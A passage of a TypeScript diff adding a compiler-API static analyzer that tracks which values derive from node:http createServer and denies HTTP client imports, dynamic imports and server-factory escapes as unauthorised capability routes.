continue; + } + if (ts.isSpreadElement(parent) || ts.isSpreadAssignment(parent)) { + current = parent; + continue; + } + if (ts.isPropertyAssignment(parent) && parent.initializer === current) { + current = climb(parent.parent).node; + continue; + } + if (ts.isShorthandPropertyAssignment(parent)) { + current = climb(parent.parent).node; + continue; + } + return false; + } +} + +const isDeclarationNameOf = (parent: ts.Node, id: ts.Identifier): boolean => + (ts.isVariableDeclaration(parent) || + ts.isParameter(parent) || + ts.isBindingElement(parent) || + ts.isFunctionDeclaration(parent) || + ts.isFunctionExpression(parent) || + ts.isClassDeclaration(parent) || + ts.isClassExpression(parent) || + ts.isMethodDeclaration(parent) || + ts.isPropertyDeclaration(parent) || + ts.isGetAccessorDeclaration(parent) || + ts.isSetAccessorDeclaration(parent) || + ts.isEnumDeclaration(parent) || + ts.isEnumMember(parent) || + ts.isModuleDeclaration(parent) || + ts.isTypeAliasDeclaration(parent) || + ts.isInterfaceDeclaration(parent) || + ts.isTypeParameterDeclaration(parent) || + ts.isImportClause(parent) || + ts.isNamespaceImport(parent) || + ts.isNamespaceExport(parent) || + ts.isImportEqualsDeclaration(parent) || + ts.isPropertySignature(parent) || + ts.isMethodSignature(parent) || + ts.isPropertyAssignment(parent)) && + parent.name === id; + +/** Whether an identifier sits inside a type position (never a runtime read). */ +function isInTypePosition(node: ts.Node): boolean { + let current = node; + let parent = current.parent; + while (!ts.isSourceFile(parent)) { + if (ts.isExpressionWithTypeArguments(parent)) { + const clause = parent.parent; + const isClassExtends = + ts.isHeritageClause(clause) && clause.token === ts.SyntaxKind.ExtendsKeyword && ts.isClassLike(clause.parent); + return !isClassExtends; + } + if (ts.isTypeNode(parent)) return true; + if (ts.isStatement(parent) || ts.isExpression(parent)) return false; + current = parent; + parent = current.parent; + } + return false; +} + +/** + * THE value-read predicate: is this identifier a runtime read of a binding? + * Declaration names, property keys, member names, labels, import forms and every + * type position are not. An `ExportSpecifier` local name is an explicit value + * use (resolved by `valueSymbolOf`). A shorthand property value is a value use. + */ +export function isValueRead(id: ts.Identifier): boolean { + const parent = id.parent; + if (ts.isShorthandPropertyAssignment(parent)) return parent.name === id; + if (ts.isExportSpecifier(parent)) { + const declaration = parent.parent.parent; + if (declaration.moduleSpecifier !== undefined || declaration.isTypeOnly || parent.isTypeOnly) return false; + return (parent.propertyName ?? parent.name) === id; + } + if (ts.isImportSpecifier(parent)) return false; + if (isDeclarationNameOf(parent, id)) return false; + if (ts.isBindingElement(parent) && parent.propertyName === id) return false; + if (ts.isPropertyAccessExpression(parent) && parent.name === id) return false; + if (ts.isLabeledStatement(parent) || ts.isBreakOrContinueStatement(parent)) return false; + if (ts.isMetaProperty(parent)) return false; + if (ts.isQualifiedName(parent)) { + let root: ts.Node = parent; + while (ts.isQualifiedName(root.parent)) root = root.parent; + return ts.isImportEqualsDeclaration(root.parent) && root.parent.moduleReference === root; + } + if (ts.isImportEqualsDeclaration(parent)) return parent.moduleReference === id; + return !isInTypePosition(id); +} + +/** THE symbol-resolution helper. Every producer and consumer uses this and nothing else. */ +export function valueSymbolOf(checker: ts.TypeChecker, node: ts.Node): ts.Symbol | undefined { + if (ts.isIdentifier(node) && ts.isShorthandPropertyAssignment(node.parent) && node.parent.name === node) { + return checker.getShorthandAssignmentValueSymbol(node.parent); + } + if (ts.isExportSpecifier(node)) return checker.getExportSpecifierLocalTargetSymbol(node); + if (ts.isIdentifier(node) && ts.isExportSpecifier(node.parent)) { + return checker.getExportSpecifierLocalTargetSymbol(node.parent); + } + return checker.getSymbolAtLocation(node); +} + +/** Whether a node is ambient: it or an enclosing declaration carries `declare`. */ +function isAmbient(node: ts.Node): boolean { + let current: ts.Node = node; + while (!ts.isSourceFile(current)) { + if (ts.canHaveModifiers(current) && (ts.getCombinedModifierFlags(current as ts.Declaration) & ts.ModifierFlags.Ambient) !== 0) { + return true; + } + current = current.parent; + } + return false; +} + +const isTypeOnlyImportClause = (clause: ts.ImportClause): boolean => + clause.phaseModifier === ts.SyntaxKind.TypeKeyword; + +const isExported = (node: ts.Declaration): boolean => + (ts.getCombinedModifierFlags(node) & ts.ModifierFlags.Export) !== 0; + +const isPlainConst = (declaration: ts.VariableDeclaration): boolean => { + const scoped: number = ts.getCombinedNodeFlags(declaration) & ts.NodeFlags.BlockScoped; + const plainConst: number = ts.NodeFlags.Const; + return scoped === plainConst; +}; + +/** A declaration that produces a runtime binding (shadows a global at runtime). */ +function isRuntimeDeclaration(checker: ts.TypeChecker, declaration: ts.Declaration, visiting: Set): boolean { + if (isAmbient(declaration)) return false; + if (ts.isVariableDeclaration(declaration) || ts.isBindingElement(declaration) || ts.isParameter(declaration)) { + return true; + } + if (ts.isFunctionDeclaration(declaration)) return declaration.body !== undefined; + // A named function expression binds its name inside its own body at runtime. + if (ts.isFunctionExpression(declaration)) return true; + if (ts.isClassDeclaration(declaration) || ts.isClassExpression(declaration)) return true; + if (ts.isImportClause(declaration)) return !isTypeOnlyImportClause(declaration); + if (ts.isNamespaceImport(declaration)) return !isTypeOnlyImportClause(declaration.parent); + if (ts.isImportSpecifier(declaration)) { + return !declaration.isTypeOnly && !isTypeOnlyImportClause(declaration.parent.parent); + } + if (ts.isEnumDeclaration(declaration)) { + return (ts.getCombinedModifierFlags(declaration) & ts.ModifierFlags.Const) === 0; + } + if (ts.isModuleDeclaration(declaration)) return isInstantiatedNamespace(checker, declaration, visiting); + if (ts.isImportEqualsDeclaration(declaration)) return isRuntimeImportEquals(checker, declaration, visiting); + return false; +} + +/** + * THE runtime import-equals predicate. A non-type-only `import x = ...` is a + * runtime alias when it references an external module (`require(...)`), is + * exported — the binder's own rule for what instantiates an enclosing namespace + * (`export import get = Local.get` emits `fetch.get = Local.get`) — or is a + * private entity alias whose target is a value: an entity that resolves to a + * runtime declaration, or one this single-file program cannot resolve at all + * (an unresolved target is emitted as a value, exactly as `tsc` does). A + * type-only alias, or a private alias of a type-only entity, is erased. + */ +function isRuntimeImportEquals( + checker: ts.TypeChecker, + declaration: ts.ImportEqualsDeclaration, + visiting: Set, +): boolean { + if (declaration.isTypeOnly) return false; + if (ts.isExternalModuleReference(declaration.moduleReference) || isExported(declaration)) return true; + const target = valueSymbolOf(checker, declaration.moduleReference); + if (target?.declarations === undefined || target.declarations.length === 0) return true; + return isRuntimeShadowed(checker, target, visiting); +} + +/** + * A non-ambient `namespace` produces a runtime binding only when it is + * instantiated: its body (or a nested namespace body) declares a value — + * a variable, a bodied function, a class, or a runtime enum. A namespace that + * holds only types is erased and shadows nothing at runtime. + */ +function isInstantiatedNamespace(checker: ts.TypeChecker, declaration: ts.ModuleDeclaration, visiting: Set): boolean { + if (!ts.isIdentifier(declaration.name) || declaration.body === undefined) return false; + if (ts.isModuleDeclaration(declaration.body)) return isInstantiatedNamespace(checker, declaration.body, visiting); + if (!ts.isModuleBlock(declaration.body)) return false; + return declaration.body.statements.some((statement) => { + if (isAmbient(statement)) return false; + if (ts.isVariableStatement(statement) || ts.isClassDeclaration(statement)) return true; + if (ts.isFunctionDeclaration(statement)) return statement.body !== undefined; + if (ts.isEnumDeclaration(statement)) return (ts.getCombinedModifierFlags(statement) & ts.ModifierFlags.Const) === 0; + if (ts.isModuleDeclaration(statement)) return isInstantiatedNamespace(checker, statement, visiting); + if (ts.isImportEqualsDeclaration(statement)) return isRuntimeImportEquals(checker, statement, visiting); + return false; + }); +} + +/** Whether a symbol has any runtime declaration; `visiting` bounds alias cycles (a cyclic alias is erased). */ +function isRuntimeShadowed(checker: ts.TypeChecker, symbol: ts.Symbol, visiting: Set = new Set()): boolean { + if (visiting.has(symbol)) return false; + visiting.add(symbol); + return (symbol.declarations ?? []).some((declaration) => isRuntimeDeclaration(checker, declaration, visiting)); +} + +const writeCount = (ctx: Context, symbol: ts.Symbol): number => ctx.writeCounts.get(symbol) ?? 0; + +const hasThisParameter = (fn: ts.SignatureDeclaration): boolean => + fn.parameters.some((parameter) => ts.isIdentifier(parameter.name) && parameter.name.text === 'this'); + +const soleDeclaration = (symbol: ts.Symbol | undefined): ts.Declaration | undefined => { + const declarations = symbol?.declarations ?? []; + return declarations.length === 1 ? declarations[0] : undefined; +}; + +/** + * The unique, immutable `const = ` declaration behind a + * symbol, or null: exactly one declaration, plain `const`, plain identifier name, + * non-ambient, initialized, zero binder-resolved writes. + */ +function uniqueConstDeclaration(ctx: Context, symbol: ts.Symbol | undefined): ts.VariableDeclaration | null { + const declaration = soleDeclaration(symbol); + if (symbol === undefined || declaration === undefined) return null; + if (!ts.isVariableDeclaration(declaration) || !ts.isIdentifier(declaration.name)) return null; + if (!isPlainConst(declaration) || isAmbient(declaration) || declaration.initializer === undefined) return null; + if (writeCount(ctx, symbol) !== 0) return null; + return declaration; +} + +/** The unique, immutable, bodied, non-ambient FunctionDeclaration behind a symbol, or null. */ +function uniqueFunctionDeclaration(ctx: Context, symbol: ts.Symbol | undefined): ts.FunctionDeclaration | null { + const declaration = soleDeclaration(symbol); + if (symbol === undefined || declaration === undefined || !ts.isFunctionDeclaration(declaration)) return null; + if (declaration.body === undefined || isAmbient(declaration) || writeCount(ctx, symbol) !== 0) return null; + return declaration; +} + +/** A privileged const alias must additionally not be exported. */ +const isConfinedAliasDeclaration = (ctx: Context, declaration: ts.VariableDeclaration): boolean => + ts.isIdentifier(declaration.name) && + uniqueConstDeclaration(ctx, valueSymbolOf(ctx.checker, declaration.name)) === declaration && + !isExported(declaration); + +// --------------------------------------------------------------------------- +// THE static-key resolver +// --------------------------------------------------------------------------- + +const foldKey = (text: string): StaticKey => (text.length > STATIC_KEY_CEILING ? NOT_CAPABILITY : RESOLVED(text)); + +const concatKeys = (left: StaticKey, right: StaticKey): StaticKey => { + if (left.kind === 'INDETERMINATE' || right.kind === 'INDETERMINATE') return INDETERMINATE; + if (left.kind === 'NOT_CAPABILITY' || right.kind === 'NOT_CAPABILITY') return NOT_CAPABILITY; + return foldKey(left.value + right.value); +}; + +function resolveKeyInner( + ctx: Context, + expression: ts.Expression, + depth: number, + visiting: Set, +): StaticKey { + ctx.keyWork += 1; + if (depth > STATIC_KEY_DEPTH_LIMIT || ctx.keyWork > STATIC_KEY_WORK_LIMIT) return INDETERMINATE; + const node = unwrap(expression); + if (ts.isStringLiteralLike(node) || ts.isNumericLiteral(node)) return foldKey(node.text); + if (ts.isTemplateExpression(node)) { + let key = foldKey(node.head.text); + for (const span of node.templateSpans) { + key = concatKeys(key, resolveKeyInner(ctx, span.expression, depth + 1, visiting)); + key = concatKeys(key, foldKey(span.literal.text)); + } + return key; + } + if (ts.isBinaryExpression(node) && node.operatorToken.kind === ts.SyntaxKind.PlusToken) { + return concatKeys( + resolveKeyInner(ctx, node.left, depth + 1, visiting), + resolveKeyInner(ctx, node.right, depth + 1, visiting), + ); + } + if (ts.isIdentifier(node)) { + const declaration = uniqueConstDeclaration(ctx, valueSymbolOf(ctx.checker, node)); + if (declaration?.initializer === undefined) return INDETERMINATE; + const memo = ctx.keyMemo.get(declaration); + if (memo !== undefined) return memo; + if (visiting.has(declaration)) return INDETERMINATE; + visiting.add(declaration); + const key = resolveKeyInner(ctx, declaration.initializer, depth + 1, visiting); + visiting.delete(declaration); + ctx.keyMemo.set(declaration, key); + return key; + } + return INDETERMINATE; +} + +/** THE static-key resolver: RESOLVED(value) | NOT_CAPABILITY | INDETERMINATE. */ +const resolveStaticKey = (ctx: Context, expression: ts.Expression): StaticKey => + resolveKeyInner(ctx, expression, 0, new Set()); + +/** Key of a property name in a pattern/object literal, through the same resolver. */ +function resolvePropertyName(ctx: Context, name: ts.PropertyName): StaticKey { + if (ts.isIdentifier(name) || ts.isStringLiteralLike(name) || ts.isNumericLiteral(name)) return foldKey(name.text); + if (ts.isComputedPropertyName(name)) return resolveStaticKey(ctx, name.expression); + return INDETERMINATE; +} + +type MemberAccess = ts.PropertyAccessExpression | ts.ElementAccessExpression; + +/** Key of a member access, through the same resolver. */ +function memberKey(ctx: Context, access: MemberAccess): StaticKey { + if (ts.isPropertyAccessExpression(access)) { + return ts.isIdentifier(access.name) ? foldKey(access.name.text) : INDETERMINATE; + } + return resolveStaticKey(ctx, access.argumentExpression); +} + +const isMemberAccess = (node: ts.Node): node is MemberAccess => + ts.isPropertyAccessExpression(node) || ts.isElementAccessExpression(node); + +const isBindingPattern = (node: ts.Node): node is ts.BindingPattern => + ts.isObjectBindingPattern(node) || ts.isArrayBindingPattern(node); + +// --------------------------------------------------------------------------- +// Collection pass +// --------------------------------------------------------------------------- + +function collect(ctx: Context, node: ts.Node): void { + if (node.kind === ts.SyntaxKind.ThisKeyword) ctx.thisExpressions.push(node); + if (ts.isIdentifier(node)) { + if (isDeclarationNameOf(node.parent, node) || (ts.isImportSpecifier(node.parent) && node.parent.name === node)) { + const declared = valueSymbolOf(ctx.checker, node); + if (declared !== undefined) ctx.declaredSymbols.add(declared); + } + if (isValueRead(node)) { + const symbol = valueSymbolOf(ctx.checker, node); + if (symbol === undefined) ctx.unboundValueReads.push(node); + else { + const reads = ctx.valueReads.get(symbol); + if (reads === undefined) ctx.valueReads.set(symbol, [node]); + else reads.push(node); + } + } + } + if (ts.isCallExpression(node)) ctx.calls.push(node); + if (ts.isVariableDeclaration(node)) { + ctx.variableDeclarations.push(node); + if (ts.isIdentifier(node.name) && node.initializer !== undefined) { + const initializer = unwrap(node.initializer); + if (ts.isArrowFunction(initializer) || ts.isFunctionExpression(initializer)) { + const symbol = valueSymbolOf(ctx.checker, node.name); + if (symbol !== undefined) ctx.functionBindings.add(symbol); + } + } + } + if (ts.isFunctionDeclaration(node) && node.name !== undefined) { + const symbol = valueSymbolOf(ctx.checker, node.name); + if (symbol !== undefined) ctx.functionBindings.add(symbol); + } + ts.forEachChild(node, (child) => { + collect(ctx, child); + }); +} + +function buildWriteInventory(ctx: Context): void { + for (const [symbol, reads] of ctx.valueReads) { + const writes = reads.filter((read) => isWriteTarget(read)).length; + if (writes > 0) ctx.writeCounts.set(symbol, writes); + } +} + +function isHttpSpecifier(expression: ts.Expression | undefined): boolean { + return expression !== undefined && ts.isStringLiteralLike(expression) && HTTP_MODULE_SPECIFIERS.has(expression.text); +} + +/** Recognize supported node:http import forms; deny every other node:http runtime capability route. */ +function collectHttpImports(ctx: Context): void { + for (const statement of ctx.sourceFile.statements) { + if (ts.isImportDeclaration(statement) && isHttpSpecifier(statement.moduleSpecifier)) { + const clause = statement.importClause; + if (clause === undefined || isTypeOnlyImportClause(clause)) continue; + if (clause.name !== undefined) { + const symbol = valueSymbolOf(ctx.checker, clause.name); + if (symbol !== undefined) ctx.httpNamespaces.add(symbol); + } + const bindings = clause.namedBindings; + if (bindings === undefined) continue; + if (ts.isNamespaceImport(bindings)) { + const symbol = valueSymbolOf(ctx.checker, bindings.name); + if (symbol !== undefined) ctx.httpNamespaces.add(symbol); + continue; + } + for (const element of bindings.elements) { + if (element.isTypeOnly) continue; + const imported = (element.propertyName ?? element.name).text; + const symbol = valueSymbolOf(ctx.checker, element.name); + if (imported === CREATE_SERVER && symbol !== undefined) ctx.createServerBindings.add(symbol); + else deny(ctx, 'HTTP_CLIENT_CAPABILITY', element); + } + } + if ( + ts.isImportEqualsDeclaration(statement) && + ts.isExternalModuleReference(statement.moduleReference) && + isHttpSpecifier(statement.moduleReference.expression) + ) { + deny(ctx, 'HTTP_IMPORT_EQUALS', statement); + } + if (ts.isExportDeclaration(statement) && isHttpSpecifier(statement.moduleSpecifier) && !statement.isTypeOnly) { + const clause = statement.exportClause; + const reexportsValue = + clause === undefined || ts.isNamespaceExport(clause) || clause.elements.some((element) => !element.isTypeOnly); + if (reexportsValue) deny(ctx, 'HTTP_REEXPORT', statement); + } + } + for (const call of ctx.calls) { + if (call.expression.kind !== ts.SyntaxKind.ImportKeyword) continue; + const [specifier] = call.arguments; + const key = specifier === undefined ? INDETERMINATE : resolveStaticKey(ctx, specifier); + if (key.kind === 'INDETERMINATE' || isResolvedTo(key, HTTP_MODULE_SPECIFIERS)) deny(ctx, 'HTTP_DYNAMIC_IMPORT', call); + } +} + +/** + * Host module graph (tree entry only): seed bindings imported from sibling host + * files with the authority proven there — a confined server factory stays a + * confined factory in its importer, a proven string stays a proven string — + * and deny every import form through which a factory could leave the graph + * unseen (namespace import/re-export, `require`, dynamic import). + */ +function collectHostImports(ctx: Context): void { + if (ctx.hostImports.size === 0) return; + const exportsOf = (specifier: ts.Expression | undefined): HostModuleExports | undefined => + specifier !== undefined && ts.isStringLiteralLike(specifier) ? ctx.hostImports.get(specifier.text) : undefined; + for (const statement of ctx.sourceFile.statements) { + if (ts.isImportDeclaration(statement)) { + const source = exportsOf(statement.moduleSpecifier); + const clause = statement.importClause; + if (source === undefined || clause === undefined || isTypeOnlyImportClause(clause)) continue; + const seed = (name: ts.Identifier, imported: string): void => { + const symbol = valueSymbolOf(ctx.checker, name); + if (symbol === undefined) return; + if (source.factories.has(imported)) { + ctx.confinedFactories.add(symbol); + ctx.externalFactories.add(symbol); + } + if (source.instantiatingFactories.has(imported)) ctx.externalInstantiatingFactories.add(symbol); + if (source.strings.has(imported)) ctx.externalStrings.add(symbol); + if (source.stringFunctions.has(imported)) ctx.externalStringFunctions.add(symbol); + }; + if (clause.name !== undefined) seed(clause.name, 'default'); + const bindings = clause.namedBindings; + if (bindings === undefined) continue; + if (ts.isNamespaceImport(bindings)) { + if (source.factories.size > 0) deny(ctx, 'SERVER_FACTORY_ESCAPE', bindings); + continue; + } + for (const element of bindings.elements) { + if (!element.isTypeOnly) seed(element.name, (element.propertyName ?? element.name).text); + } + } + if (ts.isExportDeclaration(statement) && !statement.isTypeOnly) { + const source = exportsOf(statement.moduleSpecifier); + const clause = statement.exportClause; + if (source !== undefined && source.factories.size > 0 && clause !== undefined && ts.isNamespaceExport(clause)) { + deny(ctx, 'SERVER_FACTORY_ESCAPE', clause); + } + } + if (ts.isImportEqualsDeclaration(statement) && !statement.isTypeOnly && ts.isExternalModuleReference(statement.moduleReference)) { + const source = exportsOf(statement.moduleReference.expression); + if (source !== undefined && source.factories.size > 0) deny(ctx, 'SERVER_FACTORY_ESCAPE', statement); + } + } + for (const call of ctx.calls) { + if (call.expression.kind !== ts.SyntaxKind.ImportKeyword) continue; + const [specifier] = call.arguments; + if (specifier === undefined) continue; + const literal = unwrap(specifier); + const key = resolveStaticKey(ctx, specifier); + const text = ts.isStringLiteralLike(literal) ? literal.text : key.kind === 'RESOLVED' ? key.value : undefined; + if (text !== undefined && (ctx.hostImports.get(text)?.factories.size ?? 0) > 0) deny(ctx, 'SERVER_FACTORY_ESCAPE', call); + } +} + +// --------------------------------------------------------------------------- +// createServer recognition and listener normalization +// --------------------------------------------------------------------------- + +/** A direct, non-optional call whose callee is a proven createServer binding form. */ +function isProvenCreateServerCall(ctx: Context, node: ts.Node): node is ts.CallExpression { + if (!ts.isCallExpression(node) || node.questionDotToken !== undefined) return false; + const callee = unwrap(node.expression); + if (ts.isIdentifier(callee)) { + const symbol = valueSymbolOf(ctx.checker, callee); + return symbol !== undefined && ctx.createServerBindings.has(symbol); + } + if (isMemberAccess(callee) && callee.questionDotToken === undefined) { + const receiver = unwrap(callee.expression); + if (!ts.isIdentifier(receiver)) return false; + const symbol = valueSymbolOf(ctx.checker, receiver); + return symbol !== undefined && ctx.httpNamespaces.has(symbol) && isResolvedTo(memberKey(ctx, callee), CREATE_SERVER); + } + return false; +} + +/** A direct, non-optional call of a confined factory binding. */ +function isConfinedFactoryCall(ctx: Context, node: ts.Node): node is ts.CallExpression { + if (!ts.isCallExpression(node) || node.questionDotToken !== undefined) return false; + const callee = unwrap(node.expression); + if (!ts.isIdentifier(callee)) return false; + const symbol = valueSymbolOf(ctx.checker, callee); + return symbol !== undefined && ctx.confinedFactories.has(symbol); +} + +/** + * The local function a symbol names, when it may receive privileged propagation: + * (A) a unique const arrow/function expression, or (B) a unique bodied non-ambient + * FunctionDeclaration with zero binder-resolved writes. Never a `this`-parameter function. + */ +function eligibleCallee(ctx: Context, symbol: ts.Symbol | undefined): FunctionLike | null { + let fn: FunctionLike | null = uniqueFunctionDeclaration(ctx, symbol); + if (fn === null) { + const constDeclaration = uniqueConstDeclaration(ctx, symbol); + const initializer = constDeclaration?.initializer === undefined ? undefined : unwrap(constDeclaration.initializer); + if (initializer !== undefined && (ts.isArrowFunction(initializer) || ts.isFunctionExpression(initializer))) { + fn = initializer; + } + } + if (fn === null || hasThisParameter(fn)) return null; + return fn; +} + +/** + * THE parameter-propagation predicate: the parameter symbol that receives a + * privileged argument at `argumentIndex` of `call`, or null when the argument + * may not be propagated (ineligible callee, spread, rest/pattern/missing parameter). + * Governs both fact propagation and call-site escape permission. + */ +function resolvePropagationParameter(ctx: Context, call: ts.CallExpression, argumentIndex: number): ts.Symbol | null { + if (call.questionDotToken !== undefined) return null; + const callee = unwrap(call.expression); + if (!ts.isIdentifier(callee)) return null; + const fn = eligibleCallee(ctx, valueSymbolOf(ctx.checker, callee)); + if (fn === null) return null; + if (call.arguments.slice(0, argumentIndex + 1).some((argument) => ts.isSpreadElement(argument))) return null; + const parameter = fn.parameters[argumentIndex]; + if (parameter === undefined || parameter.dotDotDotToken !== undefined || !ts.isIdentifier(parameter.name)) return null; + return valueSymbolOf(ctx.checker, parameter.name) ?? null; +} + +/** Normalize the sole createServer argument to a listener function, or null. */ +function normalizeListener(ctx: Context, argument: ts.Expression): FunctionLike | null { + if (ts.isSpreadElement(argument)) return null; + const visited = new Set(); + let current = unwrap(argument); + for (let hop = 0; hop <= LISTENER_HOP_LIMIT; hop += 1) { + if (ts.isArrowFunction(current) || ts.isFunctionExpression(current)) return current; + if (!ts.isIdentifier(current)) return null; + const symbol = valueSymbolOf(ctx.checker, current); + if (symbol === undefined || visited.has(symbol)) return null; + visited.add(symbol); + const constDeclaration = uniqueConstDeclaration(ctx, symbol); + if (constDeclaration?.initializer !== undefined) { + current = unwrap(constDeclaration.initializer); + continue; + } + return uniqueFunctionDeclaration(ctx, symbol); + } + return null; +} + +const listenerOf = (ctx: Context, call: ts.CallExpression): FunctionLike | null => { + const [argument] = call.arguments; + return call.arguments.length === 1 && argument !== undefined ? normalizeListener(ctx, argument) : null; +}; + +// --------------------------------------------------------------------------- +// THE provenance fixpoint +// --------------------------------------------------------------------------- + +interface Fact { + readonly authority: AuthorityClass; + readonly origin: AuthorityOrigin; +} + +const factKey = (fact: Fact): string => `${fact.authority}:${fact.origin}`; + +function addFact(ctx: Context, symbol: ts.Symbol, fact: Fact): boolean { + const key = factKey(fact); + const facts = ctx.facts.get(symbol); + if (facts === undefined) { + ctx.facts.set(symbol, new Set([key])); + return true; + } + if (facts.has(key)) return false; + facts.add(key); + return true; +} + +function factsOf(ctx: Context, symbol: ts.Symbol | undefined): readonly Fact[] { + if (symbol === undefined) return []; + return [...(ctx.facts.get(symbol) ?? [])].map((key) => { + const [authority, origin] = key.split(':') as [AuthorityClass, AuthorityOrigin]; + return { authority, origin }; + }); +} + +/** + * THE expression-authority lookup: the facts an expression carries — SERVER:ROOT + * for a proven createServer or confined factory result, a proven identifier's + * facts, or, through receiver-call result authority inheritance, the facts of + * the inheriting receiver as computed once by `inheritingReceiverOf`. + */ +function expressionFacts(ctx: Context, expression: ts.Expression): readonly Fact[] { + ctx.expressionFactsEvaluations += 1; + const node = unwrap(expression); + if (isProvenCreateServerCall(ctx, node) || isConfinedFactoryCall(ctx, node)) return [{ authority: 'SERVER', origin: 'ROOT' }]; + if (ts.isIdentifier(node)) return factsOf(ctx, valueSymbolOf(ctx.checker, node)); + return inheritingReceiverOf(ctx, node) ?? []; +} + +/** + * Receiver-call result authority inheritance: the facts of the receiver whose + * authority a call result conservatively retains, or null when the result + * inherits nothing. `node` must be a direct, non-optional call whose callee is + * a member access on an authority-carrying receiver that passes the positive + * member policy of every class the receiver carries. Nothing about the + * member's runtime semantics is proven by its name; the result is simply never + * allowed to become an unrestricted value. + * + * The receiver's facts are evaluated exactly once here and handed back to + * `expressionFacts` as the call result's facts, so a receiver-call chain costs + * one evaluation per level rather than re-evaluating the receiver per level. + */ +function inheritingReceiverOf(ctx: Context, node: ts.Node): readonly Fact[] | null { + if (!ts.isCallExpression(node) || node.questionDotToken !== undefined) return null; + const callee = unwrap(node.expression); + if (!isMemberAccess(callee)) return null; + const facts = expressionFacts(ctx, callee.expression); + if (facts.length === 0) return null; + const classes = new Set(facts.map((fact) => fact.authority)); + return [...classes].every((authority) => memberAllowed(ctx, authority, callee)) ? facts : null; +} + +/** Authority classes carried by an expression, through `expressionFacts`. */ +function classesOf(ctx: Context, expression: ts.Expression): ReadonlySet { + return new Set(expressionFacts(ctx, expression).map((fact) => fact.authority)); +} + +/** Whether a symbol is SERVER through a non-PARAM origin (root result or alias of one). */ +const hasRootedServer = (ctx: Context, symbol: ts.Symbol | undefined): boolean => + factsOf(ctx, symbol).some((fact) => fact.authority === 'SERVER' && fact.origin !== 'PARAM'); + +/** Own-body return expressions of a function (not crossing nested function boundaries). */ +function ownReturnExpressions(fn: FunctionLike): readonly (ts.Expression | null)[] { + if (fn.body === undefined) return []; + if (!ts.isBlock(fn.body)) return [fn.body]; + const returns: (ts.Expression | null)[] = []; + const visit = (node: ts.Node): void => { + if (ts.isFunctionLike(node) || ts.isClassLike(node)) return; + if (ts.isReturnStatement(node)) returns.push(node.expression ?? null); + ts.forEachChild(node, visit); + }; + visit(fn.body); + return returns; +} + +function isConfinedReference(id: ts.Identifier): boolean { + const { node, parent } = climb(id); + if (ts.isCallExpression(parent) && parent.expression === node && parent.questionDotToken === undefined) return true; + if (ts.isTypeOfExpression(parent)) return true; + if (ts.isExportSpecifier(parent)) return true; + if (ts.isExportAssignment(parent) && !parent.isExportEquals) return true; + return false; +} + +/** + * Factory confinement: an eligible immutable local callee whose every own-body + * return is SERVER from a proven createServer call, a confined factory call, or a + * confined const SERVER alias not derived from PARAM, and whose binding never + * escapes (declaration, direct identifier-callee call, typeof, export of itself). + */ +function isConfinedFactory(ctx: Context, symbol: ts.Symbol): boolean { + const fn = eligibleCallee(ctx, symbol); + if (fn === null || fn.asteriskToken !== undefined) return false; + if ((ts.getCombinedModifierFlags(fn) & ts.ModifierFlags.Async) !== 0) return false; + const returns = ownReturnExpressions(fn); + if (returns.length === 0) return false; + for (const returned of returns) { + if (returned === null) return false; + const value = unwrap(returned); + if (isProvenCreateServerCall(ctx, value) || isConfinedFactoryCall(ctx, value)) continue; + if (ts.isIdentifier(value)) { + const aliasSymbol = valueSymbolOf(ctx.checker, value); + const declaration = uniqueConstDeclaration(ctx, aliasSymbol); + if (declaration !== null && isConfinedAliasDeclaration(ctx, declaration) && hasRootedServer(ctx, aliasSymbol)) { + continue; + } + } + return false; + } + return (ctx.valueReads.get(symbol) ?? []).every(isConfinedReference); +} + +function fixpointBound(ctx: Context): number { + const derived = ctx.declaredSymbols.size * 9 + ctx.functionBindings.size + 1; + return Math.min(derived, ctx.fixpointCeiling); +} + +const LISTENER_ROOTS: readonly AuthorityClass[] = ['REQUEST', 'RESPONSE']; + +function runFixpoint(ctx: Context): FixpointReport { + const bound = fixpointBound(ctx); + const createServerCalls = ctx.calls.filter((call) => isProvenCreateServerCall(ctx, call)); + for (let iteration = 1; iteration <= bound; iteration += 1) { + let changed = false; + // 1. listener roots + for (const call of createServerCalls) { + const listener = listenerOf(ctx, call); + if (listener === null || hasThisParameter(listener)) continue; + LISTENER_ROOTS.forEach((authority, index) => { + const parameter = listener.parameters[index]; + if (parameter === undefined || parameter.dotDotDotToken !== undefined || !ts.isIdentifier(parameter.name)) return; + const symbol = valueSymbolOf(ctx.checker, parameter.name); + if (symbol !== undefined && addFact(ctx, symbol, { authority, origin: 'ROOT' })) changed = true; + }); + } + // 2. const aliases + for (const declaration of ctx.variableDeclarations) { + if (declaration.initializer === undefined || !ts.isIdentifier(declaration.name)) continue; + if (!isConfinedAliasDeclaration(ctx, declaration)) continue; + const symbol = valueSymbolOf(ctx.checker, declaration.name); + if (symbol === undefined) continue; + const initializer = unwrap(declaration.initializer); + if (isProvenCreateServerCall(ctx, initializer) || isConfinedFactoryCall(ctx, initializer)) { + if (addFact(ctx, symbol, { authority: 'SERVER', origin: 'ROOT' })) changed = true; + } else { + for (const fact of expressionFacts(ctx, initializer)) { + const origin: AuthorityOrigin = fact.origin === 'PARAM' ? 'PARAM' : 'ALIAS'; + if (addFact(ctx, symbol, { authority: fact.authority, origin })) changed = true; + } + } + } + // 3. factory confinement + for (const symbol of ctx.functionBindings) { + if (ctx.confinedFactories.has(symbol) || !isConfinedFactory(ctx, symbol)) continue; + ctx.confinedFactories.add(symbol); + changed = true; + } + // 4. local parameter propagation + for (const call of ctx.calls) { + call.arguments.forEach((argument, index) => { + const classes = classesOf(ctx, argument); + if (classes.size === 0) return; + const target = resolvePropagationParameter(ctx, call, index); + if (target === null) return; + for (const authority of classes) { + if (addFact(ctx, target, { authority, origin: 'PARAM' })) changed = true; + } + }); + } + if (!changed) return { state: 'CONVERGED', iterations: iteration, bound }; + } + return { state: 'EXHAUSTED', iterations: bound, bound }; +} + +// --------------------------------------------------------------------------- +// Phase B: classification against the positive policies +// --------------------------------------------------------------------------- + +/** The direct, non-optional call whose callee is `access` (through wrappers), or null. */ +const directCallOf = (access: ts.Expression): ts.CallExpression | null => { + const { node, parent } = climb(access); + return ts.isCallExpression(parent) && parent.expression === node && parent.questionDotToken === undefined ? parent : null; +}; + +const isDirectCallee = (access: ts.Expression): boolean => directCallOf(access) !== null; + +/** + * The invocation — call (optional or not), construct, or tagged template — + * whose callee is `access` (through wrappers), or null. Global-receiver path + * only: every such invocation of a permitted global member is denied. + */ +const memberCallOf = (access: ts.Expression): ts.CallExpression | ts.NewExpression | ts.TaggedTemplateExpression | null => { + const { node, parent } = climb(access); + if ((ts.isCallExpression(parent) || 